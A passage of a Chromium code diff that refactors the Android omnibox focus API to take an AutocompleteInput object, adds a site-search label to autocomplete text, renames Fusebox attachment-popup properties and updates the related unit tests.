-        verify(mAutocompleteCoordinator).onTextChanged(query);
-        verify(mUrlCoordinator).setKeyboardVisibility(true, false);
-    }
-
-    @Test
     public void testOnConfigurationChanged_qwertyKeyboard() {
         mMediator.onUrlFocusChange(true);
         mMediator.setIsUrlBarFocusedWithoutAnimationsForTesting(true);
@@ -995,23 +970,14 @@
     @Test
     public void testSetUrlBarFocus_focusedFromFakebox() {
         mMediator.setUrlBarFocus(
-                /* shouldBeFocused= */ true,
-                null,
-                /* selectText= */ false,
-                OmniboxFocusReason.FAKE_BOX_TAP,
-                AutocompleteRequestType.SEARCH);
+                new AutocompleteInput().setFocusReason(OmniboxFocusReason.FAKE_BOX_TAP));
         assertTrue(mMediator.didFocusUrlFromFakebox());
         verify(mUrlCoordinator).requestFocus();
     }
 
     @Test
     public void testSetUrlBarFocus_notFocused() {
-        mMediator.setUrlBarFocus(
-                /* shouldBeFocused= */ false,
-                null,
-                /* selectText= */ false,
-                OmniboxFocusReason.FAKE_BOX_TAP,
-                AutocompleteRequestType.SEARCH);
+        mMediator.setUrlBarFocus(null);
         verify(mUrlCoordinator).clearFocus();
     }
 
@@ -1019,15 +985,14 @@
     public void testSetUrlBarFocus_NtpAIMode() {
         mMediator.onFinishNativeInitialization();
         mMediator.setProfile(mProfile);
-        mMediator.setUrlBarFocus(
-                /* shouldBeFocused= */ true,
-                null,
-                /* selectText= */ false,
-                OmniboxFocusReason.NTP_AI_MODE,
-                AutocompleteRequestType.AI_MODE);
-        verify(mUrlCoordinator).requestFocus();
 
-        mMediator.beginOrResumeInput(/* activateNewSession= */ true);
+        mMediator.setUrlBarFocus(
+                new AutocompleteInput()
+                        .setFocusReason(OmniboxFocusReason.NTP_AI_MODE)
+                        .setRequestType(AutocompleteRequestType.AI_MODE));
+        verify(mUrlCoordinator).requestFocus();
+        mMediator.onUrlFocusChange(true);
+
         ArgumentCaptor<AutocompleteInput> captor = ArgumentCaptor.forClass(AutocompleteInput.class);
         verify(mFuseboxCoordinator).beginInput(captor.capture());
 
@@ -1037,19 +1002,17 @@
     @Test
     @SuppressWarnings("DirectInvocationOnMock")
     public void testSetUrlBarFocus_pastedText() {
-        mMediator.setUrlBarFocus(
-                /* shouldBeFocused= */ true,
-                "pastedText",
-                /* selectText= */ false,
-                OmniboxFocusReason.OMNIBOX_TAP,
-                AutocompleteRequestType.SEARCH);
-        ShadowLooper.runUiThreadTasks();
-        verify(mUrlCoordinator)
-                .setUrlBarData(
-                        argThat(matchesUrlBarDataForQuery("pastedText")),
-                        eq(UrlBar.ScrollType.NO_SCROLL),
-                        eq(UrlBarCoordinator.SelectionState.SELECT_END));
-        verify(mAutocompleteCoordinator).onTextChanged("pastedText");
+        mMediator.onFinishNativeInitialization();
+        mProfileSupplier.set(mProfile);
+
+        mMediator.setUrlBarFocus(new AutocompleteInput().setUserText("pastedText"));
+
+        verify(mUrlCoordinator).requestFocus();
+        mMediator.onUrlFocusChange(true);
+
+        ArgumentCaptor<AutocompleteInput> captor = ArgumentCaptor.forClass(AutocompleteInput.class);
+        verify(mAutocompleteCoordinator).beginInput(captor.capture());
+        assertEquals("pastedText", captor.getValue().getUserText());
     }
 
     @Test
@@ -1246,16 +1209,15 @@
     public void testSetUrlFocusChangeInProgress() {
         mMediator.addUrlFocusChangeListener(mUrlCoordinator);
         mMediator.setUrlFocusChangeInProgress(true);
+        mMediator.onFinishNativeInitialization();
+        mProfileSupplier.set(mProfile);
 
         ChromeAccessibilityUtil.get().setAccessibilityEnabledForTesting(true);
         mMediator.setUrlBarFocus(
-                /* shouldBeFocused= */ true,
-                null,
-                /* selectText= */ false,
-                OmniboxFocusReason.FAKE_BOX_TAP,
-                AutocompleteRequestType.SEARCH);
+                new AutocompleteInput()
+                        .setUserText("text")
+                        .setFocusReason(OmniboxFocusReason.FAKE_BOX_TAP));
         mMediator.onUrlFocusChange(true);
-        doReturn("text").when(mUrlCoordinator).getTextWithoutAutocomplete();
 
         mMediator.setUrlFocusChangeInProgress(false);
 
@@ -1264,11 +1226,10 @@
         // The first invocation of requestFocus() is from setUrlBarFocus, which we use above to set
         // mUrlFocusedFromFakebox to true.
         verify(mUrlCoordinator, times(2)).requestFocus();
-        verify(mUrlCoordinator)
-                .setUrlBarData(
-                        argThat(matchesUrlBarDataForQuery("text")),
-                        eq(UrlBar.ScrollType.NO_SCROLL),
-                        eq(UrlBarCoordinator.SelectionState.SELECT_END));
+
+        ArgumentCaptor<AutocompleteInput> captor = ArgumentCaptor.forClass(AutocompleteInput.class);
+        verify(mAutocompleteCoordinator, atLeastOnce()).beginInput(captor.capture());
+        assertEquals("text", captor.getValue().getUserText());
     }
 
     @Test
@@ -1649,26 +1610,34 @@
         mMediator.onUrlFocusChange(true);
 
         var state = FuseboxSessionState.from(mLocationBarDataProvider);
-        state.autocompleteInput.setRequestType(AutocompleteRequestType.SEARCH);
+        state.getAutocompleteInput().setRequestType(AutocompleteRequestType.SEARCH);
         assertTrue(mNavigateButtonIsVisible);
 
         doReturn(false).when(mUrlCoordinator).isTextWrapped();
-        state.autocompleteInput.setRequestType(AutocompleteRequestType.AI_MODE);
+        state.getAutocompleteInput().setRequestType(AutocompleteRequestType.AI_MODE);
         assertTrue(mNavigateButtonIsVisible);
 
         doReturn(false).when(mUrlCoordinator).isTextWrapped();
-        state.autocompleteInput.setRequestType(AutocompleteRequestType.IMAGE_GENERATION);
+        state.getAutocompleteInput().setRequestType(AutocompleteRequestType.IMAGE_GENERATION);
         assertTrue(mNavigateButtonIsVisible);
     }
 
     @Test
     public void testDeleteButtonClicked() {
         mMediator.onFinishNativeInitialization();
-        mMediator.deleteButtonClicked(null);
+        mProfileSupplier.set(mProfile);
 
-        verify(mUrlCoordinator)
-                .setUrlBarData(
-                        UrlBarData.EMPTY, UrlBar.ScrollType.NO_SCROLL, SelectionState.SELECT_END);
+        ArgumentCaptor<AutocompleteInput> captor = ArgumentCaptor.forClass(AutocompleteInput.class);
+        mMediator.setSearchQuery("test query");
+        mMediator.onUrlFocusChange(true);
+
+        verify(mAutocompleteCoordinator).beginInput(captor.capture());
+        assertEquals("test query", captor.getValue().getUserText());
+        clearInvocations(mAutocompleteCoordinator);
+
+        mMediator.deleteButtonClicked(null);
+        verify(mAutocompleteCoordinator).beginInput(captor.capture());
+        assertEquals("", captor.getValue().getUserText());
         verify(mUrlCoordinator).requestAccessibilityFocus();
     }
 
@@ -1753,13 +1722,6 @@
         verify(mAddToHomescreenCoordinator).showForAppMenu(AppMenuVerbiage.APP_MENU_OPTION_INSTALL);
     }
 
-    private ArgumentMatcher<UrlBarData> matchesUrlBarDataForQuery(String query) {
-        return actual -> {
-            UrlBarData expected = UrlBarData.forNonUrlText(query);
-            return TextUtils.equals(actual.displayText, expected.displayText);
-        };
-    }
-
     private void enableBothVoiceAndLensButtons() {
         VoiceRecognitionHandler voiceRecognitionHandler = mock(VoiceRecognitionHandler.class);
         mMediator.setVoiceRecognitionHandlerForTesting(voiceRecognitionHandler);
@@ -1794,7 +1756,7 @@
         // Prepare a state to be restored for mTab.
         String newText = "new text";
         var newState = FuseboxSessionState.from(mLocationBarDataProvider);
-        newState.autocompleteInput.setUserText(newText);
+        newState.getAutocompleteInput().setUserText(newText);
         newState.setSessionActive(true);
 
         Tab previousTab = Mockito.mock(Tab.class);
@@ -1808,24 +1770,19 @@
         String previousText = "previous text";
         // Note: input state is tracked by autocomplete.
         var previousState = FuseboxSessionState.from(mLocationBarDataProvider);
-        previousState.autocompleteInput.setUserText(previousText);
+        previousState.getAutocompleteInput().setUserText(previousText);
 
         // Emulate a tab switch from previousTab to mTab.
         doReturn(mTab).when(mLocationBarDataProvider).getTab();
         mTabletMediator.onTabChanged(previousTab);
         mTabletMediator.onUrlChanged(true);
 
-        looper.idle();
-
-        // The state for mTab was restored.
-        verify(mUrlCoordinator)
-                .setUrlBarData(
-                        argThat(matchesUrlBarDataForQuery(newText)),
-                        eq(UrlBar.ScrollType.NO_SCROLL),
-                        eq(SelectionState.SELECT_END));
+        ArgumentCaptor<AutocompleteInput> captor = ArgumentCaptor.forClass(AutocompleteInput.class);
+        verify(mAutocompleteCoordinator, atLeastOnce()).beginInput(captor.capture());
+        assertEquals(newText, captor.getValue().getUserText());
 
         assertTrue(previousState.isSessionActive());
-        assertEquals(previousText, previousState.autocompleteInput.getUserText());
+        assertEquals(previousText, previousState.getAutocompleteInput().getUserText());
     }
 
     @Test
@@ -1849,8 +1806,8 @@
         final int newSelectionStart = 2;
         final int newSelectionEnd = 6;
         var newState = FuseboxSessionState.from(mLocationBarDataProvider);
-        newState.autocompleteInput.setUserText(newText);
-        newState.autocompleteInput.setSelection(newSelectionStart, newSelectionEnd);
+        newState.getAutocompleteInput().setUserText(newText);
+        newState.getAutocompleteInput().setSelection(newSelectionStart, newSelectionEnd);
         newState.setSessionActive(true);
 
         Tab previousTab = Mockito.mock(Tab.class);
@@ -1867,7 +1824,7 @@
 
         // Note: input state is tracked by autocomplete.
         var previousState = FuseboxSessionState.from(mLocationBarDataProvider);
-        previousState.autocompleteInput.setUserText(previousText);
+        previousState.getAutocompleteInput().setUserText(previousText);
         doReturn(previousSelectionStart).when(mUrlCoordinator).getSelectionStart();
         doReturn(previousSelectionEnd).when(mUrlCoordinator).getSelectionEnd();
 
@@ -1876,24 +1833,16 @@
         mTabletMediator.onTabChanged(previousTab);
         mTabletMediator.onUrlChanged(true);
 
-        looper.idle();
-
-        // The state for mTab was restored.
-        ArgumentCaptor<UrlBarData> captor = ArgumentCaptor.forClass(UrlBarData.class);
-        verify(mUrlCoordinator)
-                .setUrlBarData(
-                        captor.capture(),
-                        eq(UrlBar.ScrollType.NO_SCROLL),
-                        eq(SelectionState.SELECT_END));
-
-        assertEquals(newText, captor.getValue().displayText);
-        verify(mUrlCoordinator).setSelection(eq(newSelectionStart), eq(newSelectionEnd));
+        ArgumentCaptor<AutocompleteInput> captor = ArgumentCaptor.forClass(AutocompleteInput.class);
+        verify(mAutocompleteCoordinator, atLeastOnce()).beginInput(captor.capture());
+        assertEquals(newText, captor.getValue().getUserText());
 
         // The state for previousTab was saved.
         assertTrue(previousState.isSessionActive());
-        assertEquals(previousText, previousState.autocompleteInput.getUserText());
-        assertEquals(previousSelectionStart, previousState.autocompleteInput.getSelectionStart());
-        assertEquals(previousSelectionEnd, previousState.autocompleteInput.getSelectionEnd());
+        assertEquals(previousText, previousState.getAutocompleteInput().getUserText());
+        assertEquals(
+                previousSelectionStart, previousState.getAutocompleteInput().getSelectionStart());
+        assertEquals(previousSelectionEnd, previousState.getAutocompleteInput().getSelectionEnd());
     }
 
     @Test
diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/OmniboxStub.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/OmniboxStub.java
index 72d41867..7c1e75c 100644
--- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/OmniboxStub.java
+++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/OmniboxStub.java
@@ -8,8 +8,7 @@
 import org.chromium.build.annotations.Nullable;
 import org.chromium.chrome.browser.lens.LensEntryPoint;
 import org.chromium.chrome.browser.omnibox.voice.VoiceRecognitionHandler;
-import org.chromium.components.omnibox.AutocompleteRequestType;
-import org.chromium.components.omnibox.OmniboxFocusReason;
+import org.chromium.components.omnibox.AutocompleteInput;
 
 /**
  * Handles user interaction with the stubbed Omnibox (a.k.a. fakebox) used in the pages such as NTP
@@ -18,21 +17,16 @@
 @NullMarked
 public interface OmniboxStub {
     /**
-     * Signal a {@link UrlBar} focus change request.
+     * Set the omnibox to have focus or not.
      *
-     * @param shouldBeFocused Whether the focus should be requested or cleared. True requests focus
-     *     and False clears focus.
-     * @param pastedText The given pasted text when focus, which could be null.
-     * @param selectText Whether the pasted text should be selected.
-     * @param reason The given reason.
-     * @param requestType The request type (tool/mode) to focus the Omnibox for.
+     * <p>Updates passed AutocompleteInput instance so it correctly reflects the current page URL,
+     * title, classification, and focus time, bringing the Fusebox to focus with the supplied data.
+     * When null instance is passed the focus is cleared.
+     *
+     * @param input The AutocompleteInput object with all the details for the focus operation. If
+     *     null, the focus will be cleared.
      */
-    void setUrlBarFocus(
-            boolean shouldBeFocused,
-            @Nullable String pastedText,
-            boolean selectText,
-            @OmniboxFocusReason int reason,
-            @AutocompleteRequestType int requestType);
+    void setUrlBarFocus(@Nullable AutocompleteInput input);
 
     /**
      * @return Whether the URL bar is currently focused.
diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/SpannableAutocompleteEditTextModel.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/SpannableAutocompleteEditTextModel.java
index b5c502b..baf864e7f 100644
--- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/SpannableAutocompleteEditTextModel.java
+++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/SpannableAutocompleteEditTextModel.java
@@ -417,7 +417,8 @@
     public void setAutocompleteText(
             CharSequence userText,
             @Nullable CharSequence inlineAutocompleteText,
-            @Nullable String additionalText) {
+            @Nullable String additionalText,
+            @Nullable String siteSearchLabel) {
         // Note: this is invoked when the Autocomplete text is supplied by the Autocomplete
         // subsystem. These changes should be ignored for Autocomplete, specifically should not
         // be sent back to the Autocomplete subsystem to trigger suggestions fetch.
@@ -425,12 +426,16 @@
         setAutocompleteTextInternal(
                 userText.toString(),
                 inlineAutocompleteText != null ? inlineAutocompleteText.toString() : null,
-                additionalText);
+                additionalText,
+                siteSearchLabel);
         setIgnoreTextChangeFromAutocomplete(false);
     }
 
     private void setAutocompleteTextInternal(
-            String userText, @Nullable String autocompleteText, @Nullable String additionalText) {
+            String userText,
+            @Nullable String autocompleteText,
+            @Nullable String additionalText,
+            @Nullable String siteSearchLabel) {
         if (DEBUG) Log.i(TAG, "setAutocompleteText: %s[%s]", userText, autocompleteText);
         mPreviouslySetState.set(
                 userText,
@@ -438,7 +443,7 @@
                 additionalText,
                 userText.length(),
                 userText.length(),
-                null);
+                siteSearchLabel);
         // TODO(changwan): avoid any unnecessary removal and addition of autocomplete text when it
         // is not changed or when it is appended to the existing autocomplete text.
         if (mInputConnection != null) {
diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/UrlBarViewBinder.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/UrlBarViewBinder.java
index 8d92f3f..2b1bb91 100644
--- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/UrlBarViewBinder.java
+++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/UrlBarViewBinder.java
@@ -42,14 +42,14 @@
             view.setIsInCct(model.get(UrlBarProperties.IS_IN_CCT));
         } else if (UrlBarProperties.AUTOCOMPLETE_TEXT.equals(propertyKey)) {
             AutocompleteText autocomplete = model.get(UrlBarProperties.AUTOCOMPLETE_TEXT);
-            if (view.shouldAutocomplete()) {
-                view.setAutocompleteText(
-                        autocomplete.userText,
-                        autocomplete.autocompleteText,
-                        TextUtils.isEmpty(autocomplete.additionalText)
-                                ? null
-                                : autocomplete.additionalText);
-            }
+            boolean shouldAutocomplete = view.shouldAutocomplete();
+            view.setAutocompleteText(
+                    autocomplete.userText,
+                    shouldAutocomplete ? autocomplete.autocompleteText : null,
+                    shouldAutocomplete && !TextUtils.isEmpty(autocomplete.additionalText)
+                            ? autocomplete.additionalText
+                            : null,
+                    autocomplete.siteSearchLabel);
         } else if (UrlBarProperties.DELEGATE.equals(propertyKey)) {
             view.setDelegate(model.get(UrlBarProperties.DELEGATE));
         } else if (UrlBarProperties.FOCUS_CHANGE_CALLBACK.equals(propertyKey)) {
diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxCoordinatorUnitTest.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxCoordinatorUnitTest.java
index c5bbf436..503e070 100644
--- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxCoordinatorUnitTest.java
+++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxCoordinatorUnitTest.java
@@ -318,7 +318,7 @@
         assertTrue(
                 mCoordinator
                         .getModelForTesting()
-                        .get(FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_VISIBLE));
+                        .get(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_VISIBLE));
 
         OmniboxFeatures.sShowImageGenerationButtonInIncognito.setForTesting(true);
         mProfileSupplier.set(mIncognitoProfile);
@@ -326,7 +326,7 @@
         assertTrue(
                 mCoordinator
                         .getModelForTesting()
-                        .get(FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_VISIBLE));
+                        .get(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_VISIBLE));
     }
 
     @Test
diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxMediator.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxMediator.java
index e4853c6..88bcf53e 100644
--- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxMediator.java
+++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxMediator.java
@@ -127,23 +127,24 @@
                         Snackbar.UMA_FUSEBOX_UPLOAD_FAILED);
 
         mModel.set(FuseboxProperties.BUTTON_ADD_CLICKED, this::onToggleAttachmentsPopup);
-        mModel.set(FuseboxProperties.POPUP_CAMERA_CLICKED, this::onCameraClicked);
-        mModel.set(FuseboxProperties.POPUP_GALLERY_CLICKED, this::onImagePickerClicked);
-        mModel.set(FuseboxProperties.POPUP_FILE_CLICKED, this::onFilePickerClicked);
-        mModel.set(FuseboxProperties.POPUP_CLIPBOARD_CLICKED, this::onClipboardClicked);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_CAMERA_CLICKED, this::onCameraClicked);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_GALLERY_CLICKED, this::onImagePickerClicked);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_FILE_CLICKED, this::onFilePickerClicked);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_CLIPBOARD_CLICKED, this::onClipboardClicked);
         mModel.set(
                 FuseboxProperties.AUTOCOMPLETE_REQUEST_TYPE_CLICKED,
                 this::onRequestTypeButtonClicked);
         mModel.set(
-                FuseboxProperties.POPUP_AI_MODE_CLICKED,
+                FuseboxProperties.POPUP_TOOL_AI_MODE_CLICKED,
                 () -> activateAiMode(AiModeActivationSource.TOOL_MENU));
-        mModel.set(FuseboxProperties.POPUP_CREATE_IMAGE_CLICKED, this::activateImageGeneration);
-        mModel.set(FuseboxProperties.POPUP_TAB_PICKER_CLICKED, this::onTabPickerClicked);
         mModel.set(
-                FuseboxProperties.POPUP_FILE_BUTTON_VISIBLE,
+                FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_CLICKED, this::activateImageGeneration);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_TAB_PICKER_CLICKED, this::onTabPickerClicked);
+        mModel.set(
+                FuseboxProperties.POPUP_ATTACH_FILE_VISIBLE,
                 mComposeboxQueryControllerBridge.isPdfUploadEligible());
         mModel.set(
-                FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_VISIBLE,
+                FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_VISIBLE,
                 mComposeboxQueryControllerBridge.isCreateImagesEligible()
                         && (OmniboxFeatures.sShowImageGenerationButtonInIncognito.getValue()
                                 || !profile.isIncognitoBranded()));
@@ -315,7 +316,7 @@
         } else {
             updateModelForCurrentTab();
             mModel.set(
-                    FuseboxProperties.POPUP_CLIPBOARD_BUTTON_VISIBLE,
+                    FuseboxProperties.POPUP_ATTACH_CLIPBOARD_VISIBLE,
                     Clipboard.getInstance().hasImage());
             mPopup.show();
         }
@@ -331,9 +332,10 @@
                         && tabSelector.getCurrentTab() != null
                         && !mModelList
                                 .getAttachedTabIds()
-                                .contains(tabSelector.getCurrentTab().getId());
+                                .contains(tabSelector.getCurrentTab().getId())
+                        && OmniboxFeatures.sAllowCurrentTab.getValue();
 
-        mModel.set(FuseboxProperties.CURRENT_TAB_BUTTON_VISIBLE, shouldShowCurrentTab);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_VISIBLE, shouldShowCurrentTab);
         if (!shouldShowCurrentTab) return;
 
         TabModelSelector tabModelSelector = mTabModelSelectorSupplier.get();
@@ -341,19 +343,18 @@
         Tab currentTab = assumeNonNull(tabModelSelector.getCurrentTab());
         boolean tabIsEligible =
                 FuseboxTabUtils.isTabEligibleForAttachment(currentTab)
-                        && FuseboxTabUtils.isTabActive(currentTab)
-                        && !currentTab.isIncognitoBranded();
+                        && FuseboxTabUtils.isTabActive(currentTab);
 
         if (tabIsEligible) {
-            mModel.set(FuseboxProperties.CURRENT_TAB_BUTTON_VISIBLE, true);
+            mModel.set(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_VISIBLE, true);
             mModel.set(
-                    FuseboxProperties.CURRENT_TAB_BUTTON_CLICKED,
+                    FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_CLICKED,
                     () -> onAddCurrentTab(currentTab));
             mModel.set(
-                    FuseboxProperties.CURRENT_TAB_BUTTON_FAVICON,
+                    FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_FAVICON,
                     OmniboxResourceProvider.getFaviconBitmapForTab(currentTab));
         } else {
-            mModel.set(FuseboxProperties.CURRENT_TAB_BUTTON_VISIBLE, false);
+            mModel.set(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_VISIBLE, false);
         }
     }
 
@@ -402,7 +403,7 @@
     private void onAttachmentsChanged() {
         mModel.set(FuseboxProperties.ATTACHMENTS_VISIBLE, !mModelList.isEmpty());
         mModel.set(
-                FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_ENABLED,
+                FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_ENABLED,
                 areAttachmentsCompatibleWithCreateImage());
         updatePopupButtonEnabledStates();
     }
@@ -560,11 +561,11 @@
                 mInput.getRequestType() != AutocompleteRequestType.IMAGE_GENERATION
                         && allowByCapacity;
 
-        mModel.set(FuseboxProperties.CURRENT_TAB_BUTTON_ENABLED, allowNonImage);
-        mModel.set(FuseboxProperties.POPUP_FILE_BUTTON_ENABLED, allowNonImage);
-        mModel.set(FuseboxProperties.POPUP_TAB_PICKER_ENABLED, allowNonImage);
-        mModel.set(FuseboxProperties.POPUP_CAMERA_BUTTON_ENABLED, allowByCapacity);
-        mModel.set(FuseboxProperties.POPUP_GALLERY_BUTTON_ENABLED, allowByCapacity);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_ENABLED, allowNonImage);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_FILE_ENABLED, allowNonImage);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_TAB_PICKER_ENABLED, allowNonImage);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_CAMERA_ENABLED, allowByCapacity);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_GALLERY_ENABLED, allowByCapacity);
     }
 
     @VisibleForTesting
diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxMediatorUnitTest.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxMediatorUnitTest.java
index 6dd18c814..a40d9a2 100644
--- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxMediatorUnitTest.java
+++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxMediatorUnitTest.java
@@ -328,7 +328,7 @@
 
     @Test
     public void popupAddsTabs() {
-        assertFalse(mModel.get(FuseboxProperties.CURRENT_TAB_BUTTON_VISIBLE));
+        assertFalse(mModel.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_VISIBLE));
         doReturn(mTab1).when(mTabModelSelector).getCurrentTab();
         doReturn("Title1").when(mTab1).getTitle();
         doReturn(new GURL("https://www.google.com")).when(mTab1).getUrl();
@@ -346,23 +346,28 @@
         doReturn(false).when(mPopup).isShowing();
 
         mMediator.onToggleAttachmentsPopup();
-        assertTrue(mModel.get(FuseboxProperties.CURRENT_TAB_BUTTON_VISIBLE));
-        assertNonNull(mModel.get(FuseboxProperties.CURRENT_TAB_BUTTON_FAVICON));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_VISIBLE));
+        assertNonNull(mModel.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_FAVICON));
 
+        OmniboxFeatures.sAllowCurrentTab.setForTesting(false);
+        mMediator.onToggleAttachmentsPopup();
+        assertFalse(mModel.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_VISIBLE));
+
+        OmniboxFeatures.sAllowCurrentTab.setForTesting(true);
         doReturn(null).when(mTabFaviconFactory).apply(any());
         mMediator.onToggleAttachmentsPopup();
-        assertTrue(mModel.get(FuseboxProperties.CURRENT_TAB_BUTTON_VISIBLE));
-        assertNull(mModel.get(FuseboxProperties.CURRENT_TAB_BUTTON_FAVICON));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_VISIBLE));
+        assertNull(mModel.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_FAVICON));
 
         doReturn(mBitmap).when(mTabFaviconFactory).apply(any());
         doReturn("token").when(mComposeboxQueryControllerBridge).addTabContext(mTab1);
-        mModel.get(FuseboxProperties.CURRENT_TAB_BUTTON_CLICKED).run();
+        mModel.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_CLICKED).run();
         verify(mComposeboxQueryControllerBridge).addTabContext(mTab1);
         assertEquals(mBitmap, ((BitmapDrawable) mAttachments.get(0).thumbnail).getBitmap());
 
         doReturn(mTab2).when(mTabModelSelector).getCurrentTab();
         mMediator.onToggleAttachmentsPopup();
-        assertFalse(mModel.get(FuseboxProperties.CURRENT_TAB_BUTTON_VISIBLE));
+        assertFalse(mModel.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_VISIBLE));
     }
 
     @Test
@@ -411,7 +416,7 @@
         addAttachment("title1", "token1", FuseboxAttachmentType.ATTACHMENT_IMAGE);
         assertEquals(1, mAttachments.size());
 
-        mModel.get(FuseboxProperties.POPUP_CREATE_IMAGE_CLICKED).run();
+        mModel.get(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_CLICKED).run();
 
         addAttachment("title2", "token2", FuseboxAttachmentType.ATTACHMENT_IMAGE);
         assertEquals(1, mAttachments.size());
@@ -469,19 +474,19 @@
         ShadowLooper.idleMainLooper();
 
         mModel.get(FuseboxProperties.BUTTON_ADD_CLICKED).run();
-        assertTrue(mModel.get(FuseboxProperties.CURRENT_TAB_BUTTON_VISIBLE));
-        assertTrue(mModel.get(FuseboxProperties.CURRENT_TAB_BUTTON_ENABLED));
-        assertTrue(mModel.get(FuseboxProperties.POPUP_FILE_BUTTON_VISIBLE));
-        assertTrue(mModel.get(FuseboxProperties.POPUP_FILE_BUTTON_ENABLED));
-        assertTrue(mModel.get(FuseboxProperties.POPUP_TAB_PICKER_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_VISIBLE));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_FILE_VISIBLE));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_FILE_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_TAB_PICKER_ENABLED));
 
-        mModel.get(FuseboxProperties.POPUP_CREATE_IMAGE_CLICKED).run();
+        mModel.get(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_CLICKED).run();
         mModel.get(FuseboxProperties.BUTTON_ADD_CLICKED).run();
-        assertTrue(mModel.get(FuseboxProperties.CURRENT_TAB_BUTTON_VISIBLE));
-        assertFalse(mModel.get(FuseboxProperties.CURRENT_TAB_BUTTON_ENABLED));
-        assertTrue(mModel.get(FuseboxProperties.POPUP_FILE_BUTTON_VISIBLE));
-        assertFalse(mModel.get(FuseboxProperties.POPUP_FILE_BUTTON_ENABLED));
-        assertFalse(mModel.get(FuseboxProperties.POPUP_TAB_PICKER_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_VISIBLE));
+        assertFalse(mModel.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_FILE_VISIBLE));
+        assertFalse(mModel.get(FuseboxProperties.POPUP_ATTACH_FILE_ENABLED));
+        assertFalse(mModel.get(FuseboxProperties.POPUP_ATTACH_TAB_PICKER_ENABLED));
     }
 
     @Test
@@ -521,34 +526,34 @@
     public void onToggleAttachmentsPopup_clipboardHasImage_showsClipboardButton() {
         doReturn(true).when(mClipboard).hasImage();
         mMediator.onToggleAttachmentsPopup();
-        assertTrue(mModel.get(FuseboxProperties.POPUP_CLIPBOARD_BUTTON_VISIBLE));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_CLIPBOARD_VISIBLE));
     }
 
     @Test
